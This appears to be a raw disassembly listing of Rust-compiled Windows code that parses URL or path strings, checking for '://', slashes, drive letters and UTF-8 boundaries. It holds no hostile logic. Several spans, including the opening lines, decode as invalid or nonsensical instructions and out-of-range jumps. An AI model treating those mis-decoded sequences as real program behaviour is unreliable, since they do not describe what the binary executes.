fbstp tbyte [rsi - 0x65]
retf 0x8945
int1
add byte [rcx - 0x48], al
add byte [rax], al
adc dword [rax], eax
invalid
or byte [rax - 0x75], r9b
push rsi
adc byte [rcx + rdi - 0x36], cl
shl edx, 0xc
fld dword [rcx - 0x7d]
stc
or eax, 0xff59870f
invalid
test byte [rbx + rax], bl
add byte [rax], al
sub dword [rsp + 0xa0], edx
sub bl, al
clc
add byte [rax], al
add dword [rax], eax
cmp dh, byte [rbp + 0x39]
and al, 0x20
sahf
add byte [rax], al
add byte [rax - 0x75], cl
or byte [r9 + r8 - 7], r9b
int3
push rsp
and al, 0x40
add byte [rbx + rcx*4 + 0x77], cl
sub ebx, edx
mov byte [rax], 0
ror byte [rbp - 0x77], cl
invalid
pop rsp
mov dword [rsp + 0x60], 8
int1
and al, 0x20
invalid
cmp r12, r15
jbe 0x14011526f
cmp byte [r13 + r15], 0xbf
jg 0x140115275
jmp 0x140115d21
jne 0x140115d21
mov rbp, r9
sub r12, r15
cmp r12, 3
jae 0x140115299
mov r13d, esi
mov r15d, r14d
mov r14d, dword [rsp + 0x40]
mov rsi, qword [rsp + 0x80]
jmp 0x140115b76
mov r9, rax
movzx eax, word [r13 + r15]
xor eax, 0x2f3a
movzx ecx, byte [r13 + r15 + 2]
xor ecx, 0x2f
or cx, ax
mov rax, r9
mov r13d, esi
mov r15d, r14d
mov r14d, dword [rsp + 0x40]
mov rsi, qword [rsp + 0x80]
jne 0x140115b76
lea rcx, [0x14018e0eb]
lea r8, [0x14018e1a0]
mov edx, 0x4f
call fcn.140122660
cmp r12, r9
mov qword [rsp + 0x78], rax
jbe 0x1401153e1
add byte [rax], al
add byte [rax], al
cmp byte [r13 + r9], 0xbf
jg 0x1401153e7
lea rcx, str.assertion_failed:_self.is_char_boundary_idx_
lea r8, [0x14018dcb0]
mov edx, 0x2c
call fcn.140122660
jne 0x140115d07
cmp rax, r9
jbe 0x140115382
cmp byte [rsi + r9], 0xbf
jle 0x140115d07
fmul dword [rcx]
add byte [rax], al
fmul dword [rcx]
add byte [rax], al
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x68], rdx
mov dword [rsp + 0x34], r13d
mov r8, r9
sub r8, rbp
lea r13, [rsi + rbp]
lea rdx, [0x14018e0a8]
mov rcx, r13
mov r14, rbp
mov rbp, r9
call fcn.1401220a0
test eax, eax
je 0x14011544c
test ah, ah
add byte [rax], al
invalid
test ah, ah
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
and al, 0x33
movzx r8d, byte [rsp + 0x33]
mov r13d, dword [rsp + 0x34]
mov r14d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x68]
jmp 0x140115b69
invalid
add byte [rax], al
invalid
jne 0x140115d07
mov r12, rax
mov rax, rbp
mov rbp, r9
mov r8, r9
sub r8, rax
add rsi, rax
mov r14, rdx
mov esi, edx
mov esi, edx
lea rdx, [0x14018e0a8]
mov rcx, rsi
call fcn.1401220a0
mov rdx, r14
test eax, eax
movzx r8d, byte [rsp + 0x33]
mov r14d, dword [rsp + 0x40]
mov rsi, qword [rsp + 0x80]
mov rax, qword [rsp + 0x78]
jne 0x140115b76
lea r8, [0x14018e0b0]
mov rcx, rbp
mov rdx, r12
call fcn.140122580
mov word [rdi], es
add byte [rax - 0x77], cl
jmp 0x128f3dd29
jne 0x140115301
mov byte [rsp + 0x33], r8b
mov rax, qword [rdx]
sub rax, r12
cmp rax, 1
mov qword [rsp + 0x68], rdx
jbe 0x140115577
lea rdx, [r9 + r13]
lea rcx, [r9 + r13]
add rcx, 2
mov r8, rbp
mov rbp, r9
call fcn.140121660
mov rdx, qword [rsp + 0x68]
mov r9, rbp
mov word [r13 + rbp], 0x2e2f
add r12, 2
mov qword [rdx + 0x10], r12
add r9d, 2
movzx r8d, byte [rsp + 0x33]
mov rax, qword [rsp + 0x78]
test ebx, ebx
jne 0x140115255
jmp 0x140115275
mov qword [rsp + 0x70], r14
cmp byte [rsi + rbp], 0x2f
movzx r8d, byte [rsp + 0x33]
jne 0x140115d3e
lea rcx, [rbp + 1]
mov r9, qword [rsp + 0x90]
cmp rcx, r9
mov rdx, qword [rsp + 0x68]
jae 0x140115487
cmp byte [rsi + rcx], 0x2f
jne 0x140115487
mov r13d, dword [rsp + 0x34]
jmp 0x140115b17
test ebx, ebx
je 0x1401154b3
cmp r9, qword [rsp + 0x70]
jbe 0x1401154b1
cmp byte [r13], 0xbf
jg 0x1401154b3
lea rcx, str.assertion_failed:_self.is_char_boundary_n__rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_src_string.rs
lea r8, [0x14018e640]
mov edx, 0x2a
call fcn.140122660
jne 0x140115499
cmp byte [rsi + rbp], 0xbf
jle 0x140115d5d
cmp ebx, ebp
mov r13d, dword [rsp + 0x34]
ja 0x140115d75
lea r11, [rdx + 0x10]
sub r9, rbp
jb 0x140115d89
mov rax, qword [rsp + 0x70]
mov qword [r11], rax
jne 0x1401154fa
mov r12, rax
cmp qword [rdx], rax
je 0x1401156e9
mov byte [rsi + r12], 0x3a
inc r12
jmp 0x140115b0a
cmp ebx, ebp
mov qword [rsp + 0x48], r9
jne 0x140115563
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x38], r11
mov r13, qword [rsp + 0x70]
mov rax, qword [rsp + 0x90]
cmp qword [rdx], rax
je 0x140115cad
lea rdx, [rsi + rbp]
lea r14, [rsi + rbp]
inc r14
mov rcx, r14
mov r8, r9
call fcn.140121660
mov r10, qword [rsp + 0x60]
cmp r13, r10
mov qword [rsp + 0x58], rbp
jne 0x14011559c
lea r12, [0x14018e4da]
mov edx, 1
xor eax, eax
mov r10, r13
mov r13d, dword [rsp + 0x34]
jmp 0x140115765
mov rax, qword [rsp + 0x70]
mov byte [rsi + rax], 0x3a
mov qword [r11], r12
mov r10, rbp
jmp 0x140115ad2
mov r8d, 2
mov rcx, rdx
mov rdx, r12
mov r13, r9
call fcn.1401221b0
mov rdx, qword [rsp + 0x68]
mov r9, r13
mov r13, qword [rdx + 8]
jmp 0x140115401
lea rax, [rsi + r13]
lea r12, [0x14018e4da]
lea rcx, [r12 + rbp]
sub rcx, r13
sub rcx, r12
cmp rcx, 1
mov edx, 1
cmovae rcx, rdx
inc rcx
cmp rcx, 0x25
movzx r8d, byte [rsp + 0x33]
jb 0x14011571f
lea r12, [0x14018e4da]
lea r9, [r12 + rbp]
sub r9, r13
sub r9, r12
cmp r9, 1
cmovb rdx, r9
lea r9, [r13 + rdx]
lea r9, [rsi + r9 + 1]
mov r10, qword [rsp + 0x68]
lea r11, [r10 + 0x18]
lea r10, [rdx + r12]
inc r10
cmp rax, r11
setb byte [rsp + 0x54]
mov rbp, qword [rsp + 0x38]
cmp rbp, r9
setb byte [rsp + 0xa0]
cmp rax, r10
setb dl
cmp r12, r9
setb byte [rsp + 0x98]
cmp rbp, r10
setb r9b
cmp r12, r11
setb r11b
movzx r10d, byte [rsp + 0xa0]
test byte [rsp + 0x54], r10b
jne 0x140115cda
and dl, byte [rsp + 0x98]
mov r10, qword [rsp + 0x60]
jne 0x14011571a
and r9b, r11b
jne 0x14011571a
mov edx, ecx
and edx, 3
mov r9d, 4
cmovne r9, rdx
sub rcx, r9
add rax, rcx
lea rdx, [0x14018e4da]
lea r12, [rdx + rcx]
movq xmm1, r13
lea r9, [rsi + r13]
add r9, 2
pxor xmm0, xmm0
xor r10d, r10d
pcmpeqd xmm2, xmm2
mov r11d, dword [r10 + rdx]
mov dword [r9 + r10 - 2], r11d
psubq xmm1, xmm2
psubq xmm0, xmm2
add r10, 4
cmp rcx, r10
jne 0x1401156a2
paddq xmm0, xmm1
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r13, xmm1
mov r11, qword [rsp + 0x38]
movq qword [r11], xmm1
mov rbp, qword [rsp + 0x58]
mov r9, qword [rsp + 0x48]
mov r10, qword [rsp + 0x60]
jmp 0x140115729
mov r8d, 1
mov rcx, rdx
mov rdx, qword [rsp + 0x70]
mov rsi, r11
call fcn.14012aee0
mov r11, rsi
mov rdx, qword [rsp + 0x68]
movzx r8d, byte [rsp + 0x33]
mov rsi, qword [rdx + 8]
mov r12, qword [rdx + 0x10]
jmp 0x1401154ed
mov rbp, qword [rsp + 0x58]
mov r11, qword [rsp + 0x38]
mov r9, qword [rsp + 0x48]
inc r13
lea rdx, [0x14018e4db]
cmp r12, rdx
je 0x14011582a
movzx ecx, byte [r12]
inc r12
mov byte [rax], cl
inc rax
mov qword [r11], r13
inc r13
cmp rax, r14
jne 0x140115733
sub rdx, r12
sete al
mov r13d, dword [rsp + 0x34]
je 0x140115ac0
mov dword [rsp + 0x54], eax
mov qword [rsp + 0x60], r10
test rdx, rdx
js 0x140115da0
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov r14, rdx
call fcn.1400f8ae0
test rax, rax
je 0x140115da7
lea rcx, [0x14018e4db]
cmp r12, rcx
movzx r8d, byte [rsp + 0x33]
mov rbp, qword [rsp + 0x58]
mov r11, qword [rsp + 0x38]
mov r10, qword [rsp + 0x60]
mov r14, rax
je 0x140115a93
lea rcx, [0x14018e4da]
mov rdx, rcx
sub rdx, r12
inc rdx
xor r13d, r13d
cmp rdx, 0x20
jb 0x14011583f
mov r9, rax
sub r9, r12
cmp r9, 0x20
jb 0x14011583c
mov r13, rdx
and r13, 0xffffffffffffffe0
lea r9, [r12 + r13]
xor r10d, r10d
mov rax, r14
movdqu xmm0, xmmword [r12 + r10]
movdqu xmm1, xmmword [r12 + r10 + 0x10]
movdqu xmmword [rax + r10], xmm0
movdqu xmmword [rax + r10 + 0x10], xmm1
add r10, 0x20
cmp r13, r10
jne 0x1401157ef
cmp rdx, r13
jne 0x140115834
lea rax, [r14 + r13]
mov r9, qword [rsp + 0x48]
mov r10, qword [rsp + 0x60]
jmp 0x1401158bb
mov r13d, dword [rsp + 0x34]
jmp 0x140115ac0
mov r12, r9
mov r10, qword [rsp + 0x60]
mov rax, r14
mov edx, ecx
sub edx, r12d
inc edx
sub rcx, r12
and edx, 3
je 0x140115865
movzx r9d, byte [r12]
inc r12
mov byte [r14 + r13], r9b
mov rax, r14
inc r13
dec rdx
jne 0x14011584e
cmp rcx, 3
lea rdx, [0x14018e4db]
jb 0x1401158a9
movzx ecx, byte [r12]
mov byte [rax + r13], cl
movzx ecx, byte [r12 + 1]
mov byte [rax + r13 + 1], cl
movzx ecx, byte [r12 + 2]
mov byte [rax + r13 + 2], cl
movzx ecx, byte [r12 + 3]
add r12, 4
mov byte [rax + r13 + 3], cl
add r13, 4
cmp r12, rdx
jne 0x140115872
test r13, r13
mov r9, qword [rsp + 0x48]
je 0x140115967
lea rax, [r14 + r13]
mov qword [rsp + 0xa0], rax
lea rdx, [r9 + r10]
mov rbp, qword [rsp + 0x68]
mov rax, qword [rbp]
sub rax, rdx
cmp rax, r13
jb 0x140115ce9
lea r12, [r10 + r13]
lea rdx, [rsi + r10]
add rsi, r12
mov rcx, rsi
mov r8, r9
mov rsi, r10
call fcn.140121660
mov rdx, qword [rbp + 0x10]
cmp rdx, r12
jne 0x14011591b
mov r10, r12
movzx r8d, byte [rsp + 0x33]
mov r13d, dword [rsp + 0x34]
mov rbp, qword [rsp + 0x58]
mov r11, qword [rsp + 0x38]
jmp 0x140115a86
mov qword [rsp + 0x98], r12
mov rax, qword [rbp + 8]
lea rcx, [rax + rdx]
add rsi, r13
mov r9, rdx
not r9
add r9, rsi
cmp r13, r9
mov r10, r9
cmovb r10, r13
inc r10
cmp r10, 0x25
movzx r8d, byte [rsp + 0x33]
jae 0x140115971
mov r9, r14
mov r13d, dword [rsp + 0x34]
mov rbp, qword [rsp + 0x58]
mov r11, qword [rsp + 0x38]
jmp 0x140115a50
mov r13d, dword [rsp + 0x34]
jmp 0x140115a8b
cmp r13, r9
cmovb r9, r13
lea r13, [r9 + rcx]
inc r13
lea r12, [rbp + 0x18]
lea rbp, [r14 + r9]
inc rbp
cmp rcx, r12
setb byte [rsp + 0x60]
mov rsi, qword [rsp + 0x38]
cmp rsi, r13
setb byte [rsp + 0x47]
cmp rcx, rbp
setb r9b
cmp r13, r14
seta byte [rsp + 0x46]
cmp rsi, rbp
setb sil
cmp r12, r14
seta r13b
movzx r11d, byte [rsp + 0x47]
test byte [rsp + 0x60], r11b
jne 0x140115950
and r9b, byte [rsp + 0x46]
jne 0x140115950
and sil, r13b
jne 0x140115950
mov r9d, r10d
and r9d, 3
mov r11d, 4
cmovne r11, r9
sub r10, r11
mov rsi, r14
mov r9, r14
add r9, r10
add rcx, r10
movq xmm1, rdx
add rdx, rax
add rdx, 2
pxor xmm0, xmm0
xor r11d, r11d
pcmpeqd xmm2, xmm2
mov r13d, dword [rsp + 0x34]
mov ebp, dword [rsi + r11]
mov dword [rdx + r11 - 2], ebp
psubq xmm1, xmm2
psubq xmm0, xmm2
add r11, 4
cmp r10, r11
jne 0x140115a15
paddq xmm0, xmm1
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq rdx, xmm1
mov r11, qword [rsp + 0x38]
movq qword [r11], xmm1
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x98]
add rax, rsi
inc rdx
mov r12, qword [rsp + 0xa0]
cmp r9, r12
je 0x140115a83
movzx r10d, byte [r9]
inc r9
mov byte [rcx], r10b
inc rcx
mov qword [r11], rdx
inc rdx
cmp rcx, rax
jne 0x140115a66
mov r10, rsi
mov r9, qword [rsp + 0x48]
mov eax, dword [rsp + 0x54]
test al, al
jne 0x140115ac0
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
mov rsi, r10
call qword [sym.imp.kernel32.dll_HeapFree]
mov r10, rsi
mov r9, qword [rsp + 0x48]
mov r11, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x58]
movzx r8d, byte [rsp + 0x33]
mov r12, qword [r11]
cmp qword [rsp + 0x90], rbp
mov rdx, qword [rsp + 0x68]
je 0x140115b0d
cmp r10, r12
jne 0x140115adc
mov r12, r10
jmp 0x140115b07
mov rcx, qword [rdx + 8]
add r10, rcx
add rcx, r12
mov rdx, r10
mov r8, r9
mov rsi, r11
call fcn.140121660
mov r9, qword [rsp + 0x48]
mov r11, rsi
mov rdx, qword [rsp + 0x68]
movzx r8d, byte [rsp + 0x33]
add r12, r9
mov qword [r11], r12
add ebp, 0xfffffffe
mov rsi, qword [rdx + 8]
mov r9, r12
test ebx, ebx
je 0x140115b52
mov rax, qword [rsp + 0x70]
mov rcx, r9
cmp r9, rax
jbe 0x140115b4d
cmp byte [rsi + rax], 0xbf
mov r9, rcx
jg 0x140115b52
lea rax, [0x14018e0d0]
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, r9
mov r8, qword [rsp + 0x70]
call fcn.140122bb0
mov r9, rcx
jne 0x140115b31
mov r14, qword [rsp + 0x70]
sub r9, r14
cmp r9, 3
jae 0x140115c67
mov r14d, dword [rsp + 0x40]
mov rsi, qword [rsp + 0x80]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0xb8]
mov rsi, rdx
mov r9d, ebx
call fcn.140118b20
mov eax, dword [rsp + 0xb8]
cmp eax, 2
jne 0x140115be8
movzx eax, byte [rsp + 0xbc]
mov byte [rdi + 8], al
movabs rax, 0x8000000000000000
mov qword [rdi], rax
cmp qword [rsi], 0
je 0x140115c53
mov r8, qword [rsi + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [rsp + 0xc4]
mov rdx, qword [rsp + 0xbc]
mov r8, qword [rsi + 0x10]
mov qword [rdi + 0x10], r8
movups xmm0, xmmword [rsi]
movups xmmword [rdi], xmm0
mov r8, qword [rsp + 0xb0]
movdqu xmm0, xmmword [r8]
movdqu xmmword [rdi + 0x40], xmm0
movzx r8d, byte [r8 + 0x10]
mov byte [rdi + 0x50], r8b
mov dword [rdi + 0x18], eax
mov qword [rdi + 0x1c], rdx
mov dword [rdi + 0x24], ecx
movzx eax, word [rsp + 0x8e]
mov word [rdi + 0x28], ax
mov word [rdi + 0x2a], r15w
mov dword [rdi + 0x2c], ebx
mov eax, dword [rsp + 0xac]
mov dword [rdi + 0x30], eax
mov dword [rdi + 0x34], r14d
mov dword [rdi + 0x38], r13d
mov dword [rdi + 0x3c], ebp
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, word [rsi + r14]
xor eax, 0x2f3a
movzx ecx, byte [rsi + r14 + 2]
xor ecx, 0x2f
or cx, ax
mov r14d, dword [rsp + 0x40]
mov rsi, qword [rsp + 0x80]
mov rax, qword [rsp + 0x78]
jne 0x140115b76
lea rcx, [0x14018e0eb]
lea r8, [0x14018e140]
mov edx, 0x4f
call fcn.140122660
mov r8d, 1
mov rcx, rdx
mov rdx, qword [rsp + 0x90]
call fcn.14012aee0
mov r9, qword [rsp + 0x48]
mov rax, qword [rsp + 0x68]
mov rsi, qword [rax + 8]
mov r13, qword [rax + 0x10]
jmp 0x140115523
mov rbp, qword [rsp + 0x58]
mov r11, qword [rsp + 0x38]
jmp 0x1401156dd
mov rcx, rbp
mov r8, r13
call fcn.14012aee0
mov r10, qword [rsp + 0x60]
mov r9, qword [rsp + 0x48]
mov rsi, qword [rbp + 8]
jmp 0x1401158dc
mov rdx, rax
lea rax, [0x14018e090]
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov r8, rbp
call fcn.140122bb0
lea rax, [0x14018e188]
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, r12
mov r8, r15
mov r9, r12
call fcn.140122bb0
mov qword [rsp + 0xb8], 0
add rsi, rbp
lea rdx, [rsp + 0xb8]
mov rcx, rsi
call fcn.14012dcd0
lea rcx, str.assertion_failed:_self.is_char_boundary_n__rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_src_string.rs
lea r8, [0x14018e658]
mov edx, 0x2a
call fcn.140122660
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_src_vecmod.rs
mov rcx, qword [rsp + 0x70]
mov rdx, rbp
call fcn.140122990
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_src_vecmod.rs
mov rcx, rbp
mov rdx, qword [rsp + 0x90]
call fcn.1401225f0
xor ecx, ecx
call fcn.140122170
mov rdx, r14
mov ecx, 1
call fcn.140122170
int3
invalid
inc rdx
mov r11d, 1
cmp r10d, 0x3f
ja 0x14011614a
mov r15d, r10d
bt rax, r15
jae 0x140116140
mov bpl, 1
add r9, r11
cmp rdx, rbx
je 0x14011657c
movzx r15d, byte [rdx]
movzx r10d, r15b
test r10b, r10b
jns 0x140116080
mov r11d, r10d
and r11d, 0x1f
and ebx, 0x1f
and ebx, 0x1f
movzx r13d, byte [rdx + 1]
and r13d, 0x3f
cmp r10b, 0xdf
jbe 0x140116120
movzx r10d, byte [rdx + 2]
shl r13d, 6
and r10d, 0x3f
or r10d, r13d
cmp r15b, 0xf0
jb 0x14011618d
movzx r15d, byte [rdx + 3]
add rdx, 4
and r11d, 7
shl r11d, 0x12
shl r10d, 6
and r15d, 0x3f
or r15d, r10d
or r15d, r11d
mov r10d, r15d
mov r11d, 1
cmp r10d, 0x3f
jbe 0x140116093
jmp 0x14011614a
add rdx, 2
shl r11d, 6
or r11d, r13d
mov r10d, r11d
mov r11d, 1
cmp r10d, 0x3f
jbe 0x140116093
jmp 0x14011614a
bt rcx, r15
jb 0x14011657c
cmp r10d, 0x5c
je 0x14011657c
inc r8
cmp r10d, 0x80
jb 0x1401160a3
mov r11d, 2
cmp r10d, 0x800
jb 0x1401160a3
cmp r10d, 0x10000
mov r11d, 4
sbb r11, 0
jmp 0x1401160a3
add rdx, 3
shl r11d, 0xc
or r10d, r11d
mov r11d, 1
cmp r10d, 0x3f
jbe 0x140116093
jmp 0x14011614a
cmp eax, 2
je 0x1401171f2
mov ecx, dword [rsp + 0x9c]
mov rdx, qword [rsp + 0x94]
mov r8, qword [rdi + 0x10]
mov qword [rsi + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [rsi], xmm0
mov dword [rsi + 0x18], eax
mov qword [rsi + 0x1c], rdx
mov dword [rsi + 0x24], ecx
mov word [rsi + 0x28], 0
movaps xmm0, xmmword [0x14012fbc0]
movups xmmword [rsi + 0x2c], xmm0
mov dword [rsi + 0x3c], 7
mov byte [rsi + 0x40], 0
jmp 0x14011727a
mov rcx, rax
cmp r8, rax
jb 0x140116635
mov rdx, r8
sub rdx, rcx
lea r12, [r10 + rcx]
cmp rdx, 0xf
ja 0x140116428
cmp r8, rcx
je 0x140116635
xor r9d, r9d
nop word cs:[rax + rax]
cmp byte [r12 + r9], 0x2f
je 0x14011654f
inc r9
cmp rdx, r9
jne 0x140116410
jmp 0x140116635
lea rbp, [r12 + 7]
and rbp, 0xfffffffffffffff8
sub rbp, r12
jne 0x1401164b5
mov qword [rsp + 0xe8], r10
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], rsi
add byte [rax], al
add byte [rax], al
lea r9, [rdx - 0x10]
xor ebp, ebp
mov rax, qword [rsp + 0x68]
add rax, rcx
mov rdi, qword [rax + rbp - 8]
mov r10, qword [rax + rbp]
mov rsi, rdi
movabs r11, 0xd0d0d0d0d0d0d0d0
xor rsi, r11
mov r14, r10
xor r14, r11
movabs r11, 0x101010101010101
add r14, r11
or r14, r10
add rsi, r11
or rsi, rdi
and rsi, r14
not rsi
movabs r10, 0x8080808080808080
test rsi, r10
jne 0x1401164f8
add rbp, 0x10
cmp rbp, r9
jbe 0x140116460
jmp 0x1401164f8
xor r9d, r9d
nop dword [rax + rax]
cmp byte [r12 + r9], 0x2f
je 0x140116547
inc r9
cmp rbp, r9
jne 0x1401164c0
mov qword [rsp + 0xe8], r10
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], rsi
lea r9, [rdx - 0x10]
cmp rbp, r9
jbe 0x140116458
cmp rbp, rdx
je 0x14011707c
add r12, rbp
mov rax, r8
sub rax, rbp
sub rax, rcx
xor r9d, r9d
mov rsi, qword [rsp + 0xf8]
mov rdi, qword [rsp + 0xf0]
mov r14, qword [rsp + 0xe0]
mov r10, qword [rsp + 0xe8]
cmp byte [r12 + r9], 0x2f
je 0x140116544
inc r9
cmp rax, r9
jne 0x140116530
jmp 0x140116878
add r9, rbp
mov rbp, qword [rsp + 0x180]
add rcx, r9
mov rax, rcx
inc rax
setne dl
cmp rax, r8
setbe r9b
test dl, r9b
je 0x1401163dd
mov dl, 0x2f
cmp byte [r10 + rcx], dl
jne 0x1401163dd
jmp 0x140116883
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], rbx
test bpl, 1
je 0x140116647
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x70]
call fcn.14011c420
mov r13, qword [rsp + 0x98]
mov r14, qword [rsp + 0xa0]
test r14, r14
je 0x140116a92
cmp r14, 2
jne 0x140116911
movzx eax, byte [r13]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x140116a3a
movzx eax, byte [r13 + 1]
cmp eax, 0x3a
je 0x1401165e9
cmp eax, 0x7c
jne 0x140116a3a
test bpl, 1
je 0x140116752
cmp qword [rsp + 0x90], 0
je 0x140116752
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140116752
mov rcx, r8
cmp rcx, 2
jne 0x1401170b1
jmp 0x14011688d
mov rax, r12
test r8, r8
je 0x140116722
mov ecx, 0x2600
mov rax, r12
jmp 0x14011667a
add rax, 2
shl r10d, 6
or r10d, r13d
mov edx, r10d
nop dword [rax + rax]
cmp edx, 0xd
ja 0x140116697
bt ecx, edx
jae 0x140116697
cmp rax, rbx
je 0x140116722
movzx r15d, byte [rax]
movzx edx, r15b
test dl, dl
js 0x1401166b0
inc rax
cmp edx, 0xd
jbe 0x140116675
cmp edx, 0x110000
je 0x14011667a
dec r8
jne 0x14011667a
jmp 0x140116722
mov r10d, edx
and r10d, 0x1f
movzx r13d, byte [rax + 1]
and r13d, 0x3f
cmp dl, 0xdf
jbe 0x14011665d
movzx r11d, byte [rax + 2]
shl r13d, 6
and r11d, 0x3f
or r11d, r13d
cmp r15b, 0xf0
jb 0x140116706
movzx edx, byte [rax + 3]
add rax, 4
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and edx, 0x3f
or edx, r11d
or edx, r10d
cmp edx, 0x110000
jne 0x140116670
jmp 0x140116722
add rax, 3
shl r10d, 0xc
or r11d, r10d
mov edx, r11d
cmp edx, 0xd
jbe 0x140116675
jmp 0x140116697
mov qword [rsp + 0x70], rax
test r9, r9
je 0x140116748
cmp r9, r14
jae 0x140116a80
cmp byte [r12 + r9], 0xbf
jle 0x14011733d
mov r14, r9
jmp 0x140116a86
mov r12, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r15, qword [rdi + 0x10]
mov rax, r15
shr rax, 0x20
jne 0x140116ef1
mov byte [rsp + 0x70], 0
xor r13d, r13d
cmp r15, qword [rdi]
jne 0x140116778
mov rcx, rdi
call fcn.14001c770
mov rax, qword [rdi + 8]
mov byte [rax + r15], 0x2f
lea rax, [r15 + 1]
mov qword [rdi + 0x10], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0x70]
mov rcx, rdi
xor edx, edx
mov r9, r15
call fcn.1401140c0
mov rbx, rax
mov r12, rdx
cmp byte [rsp + 0x70], 0
jne 0x1401167df
lea r13, [rsp + 0x90]
mov r8d, 7
mov rcx, r13
mov rdx, rdi
mov r9, r15
call fcn.14011c350
mov rcx, r13
call fcn.140007200
mov r15d, 7
xor r13d, r13d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x90]
mov rdx, rdi
xor r8d, r8d
mov r9d, 4
call fcn.140118b20
mov eax, dword [rsp + 0x90]
cmp eax, 2
je 0x1401171f2
mov ecx, dword [rsp + 0x9c]
mov rdx, qword [rsp + 0x94]
mov r8, qword [rdi + 0x10]
mov qword [rsi + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [rsi], xmm0
mov dword [rsi + 0x41], r14d
mov dword [rsi + 0x45], ebp
mov r8, qword [rsp + 0xe0]
mov qword [rsi + 0x49], r8
mov dword [rsi + 0x18], eax
mov qword [rsi + 0x1c], rdx
mov dword [rsi + 0x24], ecx
mov word [rsi + 0x28], 0
movabs rax, 0x700000004
mov qword [rsi + 0x2c], rax
mov dword [rsi + 0x34], 7
mov dword [rsi + 0x38], r15d
mov dword [rsi + 0x3c], r15d
mov byte [rsi + 0x40], r13b
jmp 0x14011727a
mov rcx, r8
mov rbp, qword [rsp + 0x180]
cmp rcx, 2
jne 0x1401170b1
movzx eax, byte [r10]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x1401170b1
mov rax, qword [rsp + 0x100]
cmp byte [rax + 2], 0x3a
jne 0x1401170b1
mov rbp, r14
mov r14, qword [rdi + 0x10]
cmp r14, qword [rdi]
jne 0x1401168c9
mov rcx, rdi
mov r12, r10
call fcn.14001c770
mov r10, r12
mov rax, qword [rdi + 8]
mov byte [rax + r14], 0x2f
inc r14
mov qword [rdi + 0x10], r14
mov rax, qword [rdi]
sub rax, r14
cmp rax, 1
jbe 0x1401172d4
mov rax, qword [rdi + 8]
movzx ecx, word [r10]
mov word [rax + r14], cx
add qword [rdi + 0x10], 2
xor r12d, r12d
mov r14, rbp
jmp 0x1401170e8
test r14, r14
js 0x140117357
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, r14
call fcn.1400f8ae0
test rax, rax
je 0x140117361
mov r15, rax
mov rcx, rax
mov rdx, r13
mov r8, r14
call fcn.140121660
mov r12, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
test bpl, 1
jne 0x140116abc
jmp 0x140116ad9
mov dword [rsi + 0x3c], eax
jmp 0x14011727a
movzx eax, byte [0x14019f308]
mov r14d, 2
mov edx, 2
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14011736e
mov r15, rax
movzx eax, word [r13]
mov word [r15], ax
mov r12, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
test bpl, 1
jne 0x140116abc
mov r14d, 2
jmp 0x140116aef
jne 0x14011733d
mov r13, r12
test r14, r14
jne 0x1401165bb
mov r15d, 1
mov ecx, 1
mov rdx, r13
mov r8, r14
call fcn.140121660
mov r12, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
test bpl, 1
je 0x140116752
cmp qword [rsp + 0x90], 0
je 0x140116ad9
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
je 0x140116752
mov rax, r14
neg rax
jno 0x140116aef
mov r14d, r15d
jmp 0x140116b34
lea rcx, [rsp + 0x90]
mov rdx, r15
mov r8, r14
call fcn.140119bc0
mov rax, qword [rsp + 0x90]
movabs rbp, 0x8000000000000002
movzx r14d, byte [rsp + 0x98]
cmp rax, rbp
jne 0x140116b91
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsi + 8], r14b
jmp 0x1401171fd
jmp 0x140116d9e
movzx ecx, r14b
movzx edx, byte [rsp + 0x9f]
shl edx, 0x10
movzx r9d, word [rsp + 0x9d]
or r9d, edx
mov r8d, dword [rsp + 0x99]
